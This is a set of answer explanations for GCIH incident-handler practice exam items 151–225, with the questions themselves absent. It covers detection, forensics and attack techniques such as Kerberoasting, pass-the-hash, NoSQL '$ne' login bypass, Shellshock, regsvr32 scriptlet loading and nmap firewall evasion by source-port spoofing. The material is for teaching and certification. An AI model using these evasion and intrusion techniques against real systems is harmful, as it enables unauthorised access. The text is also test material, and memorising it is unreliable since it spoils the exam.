GIAC Certified Incident Handler (GCIH) — Questions 151–225

The -ano flags list all connections with their owning process ID (PID) in numeric form. Combined with Task Manager or tasklist, the PID maps directly to the executable, allowing the handler to identify which process initiated the suspicious outbound transfer. This is the fastest native method to correlate a live connection to its process without additional tooling.

Event ID 4769 is logged for Kerberos service ticket (TGS) requests, recording the account, requested SPN and encryption type. Filtering for weak RC4 encryption and abnormal SPN requests exposes Kerberoasting, where attackers request service tickets to crack service account passwords offline.

The attacker injected MongoDB operators ($ne) into the query parameters. The application likely passed the user input directly into a MongoDB query without sanitization, allowing the attacker to alter the query logic. $ne means 'not equal', so the query returns a user where username is not 'admin' and password is not 'wrong', effectively bypassing authentication.

Hundreds of short-lived TCP 445 connections to many distinct hosts in a brief window is a hallmark of automated SMB scanning or worm propagation. Malware such as ransomware worms enumerate reachable SMB hosts, attempt connections, and move on quickly when they fail or succeed. The user's lack of awareness supports a silent, automated process. This pattern warrants immediate isolation and forensic triage of the workstation.

Guest access grants everyone on the network the ability to access data, which is the definition of excessive privilege. Following the principle of least privilege requires that every access request be authenticated and authorized, ensuring that only those with a specific need can access the organization's sensitive file shares.

Capturing volatile data is the priority because it is the most ephemeral evidence. By using memory acquisition tools, you can identify what the attacker is doing in real-time, such as open network sockets or injected threads, which are essential for understanding the scope of the current incident.

Attackers leverage the WMI event subsystem by creating a filter (the trigger) and a consumer (the action). Manually inspecting these WMI objects for suspicious commands or scripts is the only reliable way to identify this persistence method, as it does not rely on traditional file-based startup locations.

Shell metacharacters allow attackers to chain multiple commands together in a single execution stream. Observing characters like pipes or semicolons in web server access logs strongly indicates an attempt to break out of intended application logic into the shell.

A zero-data-retention setting or contractually binding no-retention agreement prevents the provider from storing prompts and completions beyond the immediate request, which directly addresses the operator's concern about later training use or legal disclosure. Without this control, other technical measures such as TLS or token scoping do not stop the provider from logging the content, so verifying retention terms first is the correct priority.

Reflected XSS occurs when user input is immediately returned by the web application in an error message, search result, or other response without proper encoding. The script executes in the victim's browser when they click the crafted URL. The theft of session cookies is a common impact. This matches the scenario exactly: input reflected into an HTML attribute, script execution, and cookie exfiltration.

By modifying the redirect_uri to an attacker-controlled endpoint, the authorization server redirects the user's browser with the authorization code sent to the attacker. The attacker then exchanges this code for a valid access token, bypassing standard authentication flows and gaining full access to the victim's account.

When the server resolves the account from the session rather than the request body or query string, the client cannot name an object it does not own. This removes the attacker's ability to substitute another account number. It is a direct structural fix for the reference flaw because the object selection is bound to the authenticated principal before any data is returned.

CloudTrail management events log all API calls that control AWS resources, including STS AssumeRole. The log entry includes the identity of the caller (the EC2 instance role), the target role, the requested session name, and the source IP address. This provides the most detailed record for tracing the cross-account role assumption. CloudTrail is the primary audit service for API activity in AWS.

Memory contains the most perishable evidence, including running processes, network connections, and cryptographic material. Capturing memory first, followed by live network and process state, then the disk, follows the order of volatility. This preserves data that would be lost or altered if the system were imaged or shut down first.

Nmap is a versatile scanner that, when combined with NSE scripts, can detect specific SMB-related vulnerabilities and configurations. This allows the responder to map the network and verify the security posture of Windows-based machines, identifying potential weak points that could be exploited to gain unauthorized access or move laterally across the network.

The actual Windows svchost.exe binary is located in C:\Windows\System32. When an executable with the same name is found in a user's AppData directory, it is almost certainly a malicious attempt to hide in plain sight while maintaining persistence, which is a classic indicator of compromise.

If the cloud service still allows local username and password authentication, users can continue to log in directly, bypassing SSO. To enforce SSO, the service's local authentication must be disabled. This is a common misconfiguration when transitioning to SSO. The analyst should verify the service's authentication settings and disable any non-SSO login methods.

Parameterised queries and prepared statements separate SQL code from user-supplied data, so manipulated parameters are treated as values rather than executable syntax. This eliminates the injection vector at its root while preserving full query functionality, unlike input filtering or error suppression.

Unpredictable identifiers are not an access control mechanism. Because the API never checks ownership, any authenticated user who obtains a GUID from the public activity feed can retrieve another user's document. This is the defining property of an insecure direct object reference: the object reference itself functions as the authorization decision, which breaks as soon as the reference leaks.

Test-NetConnection is a native Windows cmdlet that functions similarly to a simplified port scanner. It is an ideal, low-profile method for checking connectivity and port status on Windows systems. Because it is a built-in utility, it is less likely to be flagged by behavioral detection systems than external scanning tools.

Decoding the PowerShell command reveals the exact URL used to download the second-stage payload. Retrieving and analyzing that payload in a sandbox will provide details about its capabilities, C2 infrastructure, and potential indicators. This directly advances the investigation by obtaining the actual malware for further study, rather than relying on low-confidence alerts.

The payload exploits the Shellshock vulnerability (CVE-2014-6271) in the `printenv` CGI script. The `QUERY_STRING` contains a semicolon followed by commands, which are executed by the vulnerable Bash. The immediate containment is to isolate the server to prevent further compromise, preserve volatile evidence (memory, network connections), and then patch Bash.

Memory forensics tools like Volatility or Rekall can enumerate the loaded DLLs for every running process. This is the only reliable way to confirm which process is actively utilizing the malicious library, allowing the investigator to link the malicious file to the specific process being exploited or controlled.

The -PR option enables ARP ping, which sends ARP requests to discover hosts on the local Ethernet subnet. It is the default discovery method for local targets and does not send IP packets. This is ideal for identifying live hosts on the same subnet quickly and reliably, as ARP is rarely filtered.

In domain fronting, the SNI (Server Name Indication) presented in the TLS handshake belongs to a reputable CDN, but the actual HTTP request inside the encrypted stream contains a different Host header. Detecting this mismatch is the most reliable way to identify domain fronting activity in proxy logs.

Re-running the same prompts on the same model build lets the handler show what the attacker likely saw while clearly labeling it as a reconstruction. This distinguishes inference from evidence and avoids asserting that unrecovered model output was fact. It preserves analytical value in the report without overstating certainty, which is the standard the scenario demands.

Domain fronting exploits the difference between the DNS name and the HTTP Host header. The client connects to a legitimate domain's IP (the front), but the Host header specifies the actual malicious domain. The front server, often a CDN, routes the request based on the Host header. This allows the attacker to blend in with traffic to a reputable domain, bypassing network filters.

The AI summary is an unverified inference, so the handler must pivot to the raw EDR telemetry that the model used. Searching for LSASS handle requests, known dumping tools like Mimikatz or ProcDump, and unusual parent-child process relationships provides concrete evidence. This validation step confirms or refutes the claim and produces the specific artifacts needed for escalation and containment decisions.

Sysmon Event ID 3 logs network connections with the source and destination IP addresses, ports, and the Image (process) that initiated the connection. On the compromised workstation, this event would directly tie the SMB connection to a specific executable or service, such as a malicious binary or a living-off-the-land tool. This is the most direct artifact to identify the remote service or process that created the connection.

Multiple failed logon attempts (4625) followed by a success (4624) from the same source IP is the classic pattern of a brute-force attack. The attacker tried many passwords until one worked. This is a common technique for gaining initial access. The short timeframe indicates automated tools. Therefore, this best describes the activity.

The query chains relationship fields arbitrarily deep, so the server resolves a combinatorial explosion of related records in one request, producing a multi-megabyte response and heavy database joins. This is the GraphQL-specific resource exhaustion pattern that arises when depth, complexity, and pagination limits are absent. Authentication was valid, so the abuse is in query structure rather than identity, matching the observed database spike.

Script Block Logging captures the final, de-obfuscated script content that is actually executed by the PowerShell engine. This bypasses the Base64 encoding completely, giving analysts visibility into the raw commands. This is the industry-standard method for detecting and investigating malicious PowerShell usage in enterprise environments today.

GuardDuty continuously monitors CloudTrail management events, VPC Flow Logs, and DNS logs to detect anomalous behavior. It has specific finding types such as UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration that trigger when EC2 instance role credentials are used from an external IP address. This provides the earliest automated detection of this exact scenario because it correlates credential usage with network origin.

Base64 encoding is not encryption; it is easily reversible. The application likely assumes that encoding the account number obscures it, but without server-side authorization checks, an attacker can decode, modify, and re-encode the value. The success indicates that the application does not verify that the authenticated user owns the requested account, relying solely on the obscurity of the parameter.

The traffic uses port 443, which is typically associated with HTTPS, but the payload is not TLS. Instead, it uses a custom protocol. This is a classic covert channel technique: hiding malicious communication on a commonly allowed port to bypass firewalls and evade detection. The persistent, scheduled nature also suggests a beaconing implant.

Allow-lists ensure the API server only makes requests to trusted, predefined domains. By rejecting requests to unexpected or internal endpoints, the risk of the server being used as a proxy to attack internal infrastructure is significantly reduced, effectively mitigating the primary target of most SSRF exploits.

Replaying the requests with another user's session tests whether the application enforces object-level authorization. If the second user can access documents belonging to the first user, it confirms IDOR. This is a standard validation step because it isolates the authorization check from other factors like session validity.

A null session to IPC$ allows an unauthenticated client to query certain system information through named pipes and RPC, such as user and group lists, share names, and domain details. This reconnaissance helps an attacker map the environment and plan further attacks. It does not grant file access, but the information disclosure is significant because it lowers the effort needed for lateral movement and privilege escalation.

By requiring the model to show its work, chain-of-thought prompting reduces the likelihood of logical errors. This is invaluable in complex security tasks, as it allows the analyst to verify each step of the reasoning chain to ensure the final conclusion is supported by the provided evidence in the logs.

Recursive entity definitions cause parsers to expand references exponentially, the classic billion-laughs pattern that consumes memory and CPU. Testing this against the catalog import shows whether the parser enforces entity expansion limits or disables internal entity resolution. It is XML-specific and directly relevant to an upload endpoint that must safely handle documents from external suppliers.

Jitter is a common C2 evasion technique used to defeat detection systems that look for perfectly periodic connections. By adding randomness to the delay between beacons, the adversary masks the automated nature of the communication. This indicates a high level of sophistication and necessitates heuristic-based detection methodologies.

The fixed 45-second connection duration, consistent 2 KB payload, 15-second gap, and periodic rotation of destination IPs within a /24 are classic indicators of automated beaconing used by command-and-control implants. Encrypted payloads with no standard protocol headers suggest a custom covert channel. Rotating infrastructure helps evade IP-based blocklists while the steady cadence maintains check-in with the operator.

This command uses regsvr32.exe to load a remote scriptlet (.sct) via the /i: URL parameter, bypassing application whitelisting and executing arbitrary code. This is the classic Squiblydoo technique, which abuses the trusted regsvr32 binary to download and execute a scriptlet, often for initial access or lateral movement.

Storing the pepper in a secure, separate location (like an environment variable or HSM) ensures that a database leak alone does not expose the passwords. The attacker would need both the database and access to the server's configuration/environment to have any hope of cracking the hashes.

The -ano flags in netstat display all active connections, include numeric addresses, and show the process ID owning each connection. This direct mapping allows the responder to identify the exact binary or service responsible for the outbound port 443 traffic, facilitating immediate containment actions against the process.

AI models tend to default to a polite, formal, and generic tone when instructed to write persuasive emails. They often lack the 'tribal knowledge' or specific cultural context of the target organization. This generic nature is a strong indicator of AI generation, as human-written phishing often contains specific internal references or unique colloquialisms.

Because the gateway routes on the attacker-controllable X-Tenant-Id header while authorization relies only on the bearer token, an authenticated partner can name any tenant and receive its documents. The tenant boundary should be derived from a verified token claim or server-side session, never from a header the caller can set. This is a broken authorization design flaw rather than a token forgery or injection issue.

The main benefit of a CLM solution is its ability to aggregate logs from multiple devices into one searchable interface. This enables analysts to correlate activities, such as matching a network login on a server with an unusual process start on an endpoint, which is essential for investigation.

In a TCP SYN scan (half-open scan), the scanner sends a SYN packet to a target port. If the port is closed, the target responds with RST/ACK. This pattern is characteristic of tools like Nmap when performing a SYN scan. The scanner does not complete the handshake, making it stealthier. The presence of multiple SYN packets followed by RST/ACK responses indicates that the source is probing multiple ports on the destination.

Pass-the-Hash works because NTLM authentication only requires the NT hash to compute the challenge/response, not the cleartext password. When a server accepts NTLM, an attacker who possesses the NT hash can supply it to generate a valid response. This is why obtaining the hash is often equivalent to obtaining the password for authentication purposes in NTLM-enabled environments.

The EC2 instance metadata service (IMDS) provides temporary credentials to the instance, which are associated with the IAM role. If an attacker gains access to the instance, they can query IMDS to retrieve these credentials and use them from an external IP address. This is a common attack vector, especially if IMDSv1 is enabled, which does not require a session token. The external IP usage indicates the credentials were stolen and used remotely.

Failing to disable Document Type Definitions and external entity resolution in XML parsers allows attackers to read local files or trigger out-of-band requests. When combined with specific PHP wrappers, XXE can escalate into direct operating system command execution.

Because standard TCP rules dictate that any unexpected ACK packet must be answered with a RST, both open and closed ports return identical reset responses. Consequently, the scanner labels both states as unfiltered, leaving the analyst unable to identify actual listening services.

Deactivating the access key immediately stops any further API calls using that credential, which is the fastest containment step for a leaked long-term key. Because CloudTrail records the access key ID on every event, the history for that key remains queryable after deactivation, so the analyst can still reconstruct what the attacker did. Rotating afterward restores legitimate access safely.

This flag specifically triggers the OS detection engine within Nmap. It probes the target with various TCP and ICMP packets and compares the responses to a database of known fingerprints. It is the focused command for identifying the target's operating system without the overhead of additional service or script scans.

This is correct. Windows NTLM authentication accepts the hash as proof of identity in certain protocols, allowing an attacker to authenticate without cracking the hash. This technique, known as pass-the-hash, is a common lateral movement method. The attacker can use tools like Mimikatz or Impacket to inject the hash into a new session and access remote resources. It does not require the plaintext password, making it a direct threat once hashes are obtained.

APT actors use multiple persistence points to guarantee they can regain access if their primary tool is discovered. A thorough eradication process involves identifying and removing all these secondary backdoors and persistence mechanisms; otherwise, the attacker will simply leverage their secondary access to re-infect the system.

The endpoint returns sensitive fields that the client query did not request, and no field-level authorization prevents them from being serialized. In GraphQL, the server executes resolvers for fields selected by the query, but if a resolver or schema design includes sensitive properties in the returned object, the response can expose them. The handler should treat this as excessive data exposure and review resolver authorization and field visibility.

Contextual output encoding transforms sensitive characters into their safe HTML entity equivalents before rendering data in the browser. By applying specific encoding based on where the data is placed—HTML body, attribute, or JavaScript—the application ensures the browser treats data as content rather than executable script code.

Kerberoasting involves requesting TGS tickets for SPN-enabled accounts. These tickets are encrypted with the account's password hash. Offline cracking of these tickets reveals the plaintext password, allowing the attacker to escalate privileges if the service account has excessive permissions on the network.

SMB signing cryptographically binds each message to the session key derived from the authentication exchange, so a relayed authentication cannot be reused to establish a new session. When the file server requires signing and the client cannot sign, the session fails. This directly breaks the NTLM relay because the attacker cannot produce valid signatures without possessing the session key.

Verifying that the current authenticated user has explicit permission to access the requested object is the definitive mitigation for IDOR. Without this server-side validation, users can simply modify request parameters to view data belonging to other users, rendering any other security control ineffective against logical authorization bypasses.

Creating a scheduled task that runs malicious code under SYSTEM and triggers periodically is a common persistence mechanism. It survives reboots and does not require an interactive logon. The timing after a phishing attachment and the recurring download behavior strongly indicate persistence via scheduled task.

Event ID 4688 records process creation details, including user context and exact command-line arguments, provided the appropriate Group Policy setting is active. This makes it a primary source for identifying living-off-the-land binaries and their execution parameters.

Web server logs are the primary source for identifying the attacker's source IP, the requests made, and the server's response codes. Error logs often reveal failed exploitation attempts or crashes caused by malicious payloads, providing critical context for how the attacker attempted to compromise the application layer.

The Principle of Least Privilege requires that users be granted only the minimum permissions needed to complete a task. 'AdministratorAccess' provides broad, excessive permissions that are rarely required for daily operational tasks. Using such an account for routine work exposes the organization to unnecessary risk if the account is compromised.

Using --source-port 53 forces Nmap to use port 53 as the source port for all scanning packets. Since many firewalls are configured to allow DNS traffic (UDP/TCP 53) to pass through to internal hosts, this simple manipulation can bypass basic port-based filters, allowing the scanner to reach previously blocked internal network segments.

APIs frequently expose endpoints that handle object identifiers, creating a wide attack surface for object-level access control flaws. Without proper authorization validation verifying whether the logged-in user owns the requested object ID, attackers easily iterate through identifiers to read or modify private data records.

Unsanitized user inputs concatenated directly into SQL query strings allow attackers to manipulate execution flow and trigger database errors. Verbose database exceptions outputted to the user interface reveal structural details, making error-based SQL injection the primary suspect for this specific application behavior.

Enumerating processes and their memory sections reveals executable regions that may not map to a file on disk. Tools such as Volatility can list process memory maps and identify sections with no backing file, which is characteristic of injected or fileless code. This directly surfaces a process whose code exists only in memory, answering the scenario's need.

PsExec operates by deploying a service named 'PSEXESVC' to the remote machine. Monitoring for the registration and execution of this service is a standard and highly effective detection technique for responders. It is the core mechanism PsExec uses to achieve remote code execution as a system user.

CreateRemoteThread injection allows an attacker to run code inside a legitimate process, such as explorer.exe or svchost.exe. Security tools often trust these processes, so the malicious activity may blend in with normal behavior. This provides stealth and persistence, making it the primary purpose in the given scenario.

Kerberoasting leverages any standard domain user account to request a service ticket for an arbitrary Service Principal Name, allowing attackers to export the ticket and crack the underlying service account password completely offline.

Feeding an adversary's AI false data creates a poisoned feedback loop. By injecting deceptive signals, the responder can cause the attacker's infrastructure to adapt in ways that are disadvantageous, such as routing to honeypots. This forces the adversary to waste resources and reveals their infrastructure, which can then be systematically blocked or neutralized.

Cloud providers often ingest user input for continuous model improvement. If sensitive environment variables, internal server names, or specific attack indicators are present in the script, they could be reflected in future model outputs, resulting in a significant data leakage incident that compromises the organization's security posture.